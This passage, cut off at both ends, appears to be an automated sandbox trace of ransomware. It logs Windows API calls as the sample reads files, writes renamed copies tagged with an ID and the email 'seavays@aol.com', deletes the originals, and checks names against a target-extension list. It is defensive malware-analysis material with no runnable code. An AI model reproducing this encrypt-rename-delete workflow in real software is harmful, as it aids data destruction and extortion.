lpOverlapped=0x0) returned 1 [0053.719] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.719] SetEndOfFile (hFile=0x34c) returned 1 [0053.720] CloseHandle (hObject=0x34c) returned 1 [0053.724] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.724] SetEndOfFile (hFile=0x348) returned 1 [0053.726] CloseHandle (hObject=0x348) returned 1 [0053.726] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.726] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.727] lstrlenW (lpString=".doc") returned 4 [0053.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString=".docx") returned 5 [0053.727] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0053.727] lstrlenW (lpString=".pdf") returned 4 [0053.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString=".xls") returned 4 [0053.727] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString=".xlsx") returned 5 [0053.727] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0053.727] lstrlenW (lpString=".ppt") returned 4 [0053.727] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.727] lstrlenW (lpString=".zip") returned 4 [0053.727] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.727] lstrlenW (lpString=".rar") returned 4 [0053.727] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString=".bz2") returned 4 [0053.727] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString=".7z") returned 3 [0053.727] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.727] lstrlenW (lpString=".dbf") returned 4 [0053.727] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.727] lstrlenW (lpString=".1cd") returned 4 [0053.727] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.727] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString=".jpg") returned 4 [0053.728] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString=".doc") returned 4 [0053.728] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString=".docx") returned 5 [0053.728] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0053.728] lstrlenW (lpString=".pdf") returned 4 [0053.728] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString=".xls") returned 4 [0053.728] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString=".xlsx") returned 5 [0053.728] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0053.728] lstrlenW (lpString=".ppt") returned 4 [0053.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString=".zip") returned 4 [0053.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.728] lstrlenW (lpString=".rar") returned 4 [0053.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString=".bz2") returned 4 [0053.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString=".7z") returned 3 [0053.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString=".dbf") returned 4 [0053.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.728] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.728] lstrlenW (lpString=".1cd") returned 4 [0053.728] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.729] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0053.729] lstrlenW (lpString=".jpg") returned 4 [0053.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.729] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.729] lstrlenW (lpString="UiInfo.xml") returned 10 [0053.729] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.730] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=39042) returned 1 [0053.730] CloseHandle (hObject=0x348) returned 1 [0053.730] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0053.730] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.730] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.730] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.730] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.730] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0053.732] GetLastError () returned 0x0 [0053.732] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x9882, lpOverlapped=0x0) returned 1 [0053.734] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x9890, lpOverlapped=0x0) returned 1 [0053.735] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.735] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1 [0053.735] SetEndOfFile (hFile=0x34c) returned 1 [0053.735] CloseHandle (hObject=0x34c) returned 1 [0053.737] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.737] SetEndOfFile (hFile=0x348) returned 1 [0053.738] CloseHandle (hObject=0x348) returned 1 [0053.738] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.738] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0053.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString=".doc") returned 4 [0053.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString=".docx") returned 5 [0053.739] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0053.739] lstrlenW (lpString=".pdf") returned 4 [0053.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString=".xls") returned 4 [0053.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString=".xlsx") returned 5 [0053.739] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0053.739] lstrlenW (lpString=".ppt") returned 4 [0053.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString=".zip") returned 4 [0053.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.739] lstrlenW (lpString=".rar") returned 4 [0053.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString=".bz2") returned 4 [0053.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString=".7z") returned 3 [0053.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString=".dbf") returned 4 [0053.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString=".1cd") returned 4 [0053.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.739] lstrlenW (lpString=".jpg") returned 4 [0053.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString=".doc") returned 4 [0053.740] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString=".docx") returned 5 [0053.740] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0053.740] lstrlenW (lpString=".pdf") returned 4 [0053.740] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString=".xls") returned 4 [0053.740] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString=".xlsx") returned 5 [0053.740] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0053.740] lstrlenW (lpString=".ppt") returned 4 [0053.740] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString=".zip") returned 4 [0053.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.740] lstrlenW (lpString=".rar") returned 4 [0053.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString=".bz2") returned 4 [0053.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString=".7z") returned 3 [0053.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString=".dbf") returned 4 [0053.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString=".1cd") returned 4 [0053.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0053.740] lstrlenW (lpString=".jpg") returned 4 [0053.741] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.741] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0053.741] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0053.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.741] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=16118) returned 1 [0053.741] CloseHandle (hObject=0x348) returned 1 [0053.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0053.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.741] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.741] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.742] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0053.742] GetLastError () returned 0x0 [0053.742] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0054.568] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0054.569] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf4, lpOverlapped=0x0) returned 1 [0054.569] SetEndOfFile (hFile=0x34c) returned 1 [0054.569] CloseHandle (hObject=0x34c) returned 1 [0054.570] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.570] SetEndOfFile (hFile=0x348) returned 1 [0054.571] CloseHandle (hObject=0x348) returned 1 [0054.571] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.572] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0054.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.572] lstrlenW (lpString=".doc") returned 4 [0054.572] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0054.572] lstrlenW (lpString=".docx") returned 5 [0054.572] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0054.572] lstrlenW (lpString=".pdf") returned 4 [0054.572] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0054.572] lstrlenW (lpString=".xls") returned 4 [0054.572] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0054.572] lstrlenW (lpString=".xlsx") returned 5 [0054.572] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0054.572] lstrlenW (lpString=".ppt") returned 4 [0054.572] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0054.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.572] lstrlenW (lpString=".zip") returned 4 [0054.572] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0054.572] lstrlenW (lpString=".rar") returned 4 [0054.572] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0054.572] lstrlenW (lpString=".bz2") returned 4 [0054.572] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".7z") returned 3 [0054.573] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString=".dbf") returned 4 [0054.573] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString=".1cd") returned 4 [0054.573] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString=".jpg") returned 4 [0054.573] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString=".doc") returned 4 [0054.573] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".docx") returned 5 [0054.573] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0054.573] lstrlenW (lpString=".pdf") returned 4 [0054.573] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".xls") returned 4 [0054.573] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".xlsx") returned 5 [0054.573] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0054.573] lstrlenW (lpString=".ppt") returned 4 [0054.573] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0054.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.573] lstrlenW (lpString=".zip") returned 4 [0054.573] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".rar") returned 4 [0054.573] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0054.573] lstrlenW (lpString=".bz2") returned 4 [0054.573] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0054.574] lstrlenW (lpString=".7z") returned 3 [0054.574] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0054.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.574] lstrlenW (lpString=".dbf") returned 4 [0054.574] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0054.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.574] lstrlenW (lpString=".1cd") returned 4 [0054.574] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0054.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0054.574] lstrlenW (lpString=".jpg") returned 4 [0054.574] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0054.574] lstrcmpiW (lpString1=".p7b", lpString2=".save") returned -1 [0054.574] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0054.574] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.576] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4662) returned 1 [0054.576] CloseHandle (hObject=0x348) returned 1 [0054.576] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0054.576] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.576] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.576] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.576] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.576] lstrlenW (lpString=".doc") returned 4 [0054.576] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0054.576] lstrlenW (lpString=".docx") returned 5 [0054.576] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0054.576] lstrlenW (lpString=".pdf") returned 4 [0054.576] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0054.576] lstrlenW (lpString=".xls") returned 4 [0054.576] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0054.576] lstrlenW (lpString=".xlsx") returned 5 [0054.576] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0054.576] lstrlenW (lpString=".ppt") returned 4 [0054.576] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0054.576] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.576] lstrlenW (lpString=".zip") returned 4 [0054.577] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0054.577] lstrlenW (lpString=".rar") returned 4 [0054.577] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0054.577] lstrlenW (lpString=".bz2") returned 4 [0054.577] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0054.577] lstrlenW (lpString=".7z") returned 3 [0054.577] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString=".dbf") returned 4 [0054.577] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString=".1cd") returned 4 [0054.577] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString=".jpg") returned 4 [0054.577] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString=".doc") returned 4 [0054.577] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0054.577] lstrlenW (lpString=".docx") returned 5 [0054.577] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0054.577] lstrlenW (lpString=".pdf") returned 4 [0054.577] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0054.577] lstrlenW (lpString=".xls") returned 4 [0054.577] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0054.577] lstrlenW (lpString=".xlsx") returned 5 [0054.577] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0054.577] lstrlenW (lpString=".ppt") returned 4 [0054.577] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0054.577] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.577] lstrlenW (lpString=".zip") returned 4 [0054.578] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0054.578] lstrlenW (lpString=".rar") returned 4 [0054.578] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0054.578] lstrlenW (lpString=".bz2") returned 4 [0054.578] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0054.578] lstrlenW (lpString=".7z") returned 3 [0054.578] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0054.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.578] lstrlenW (lpString=".dbf") returned 4 [0054.578] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0054.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.578] lstrlenW (lpString=".1cd") returned 4 [0054.578] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0054.578] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0054.578] lstrlenW (lpString=".jpg") returned 4 [0054.578] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0054.578] lstrcmpiW (lpString1=".BAK", lpString2=".save") returned -1 [0054.578] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0054.578] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.578] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=8192) returned 1 [0054.578] CloseHandle (hObject=0x348) returned 1 [0054.579] GetFileAttributesW 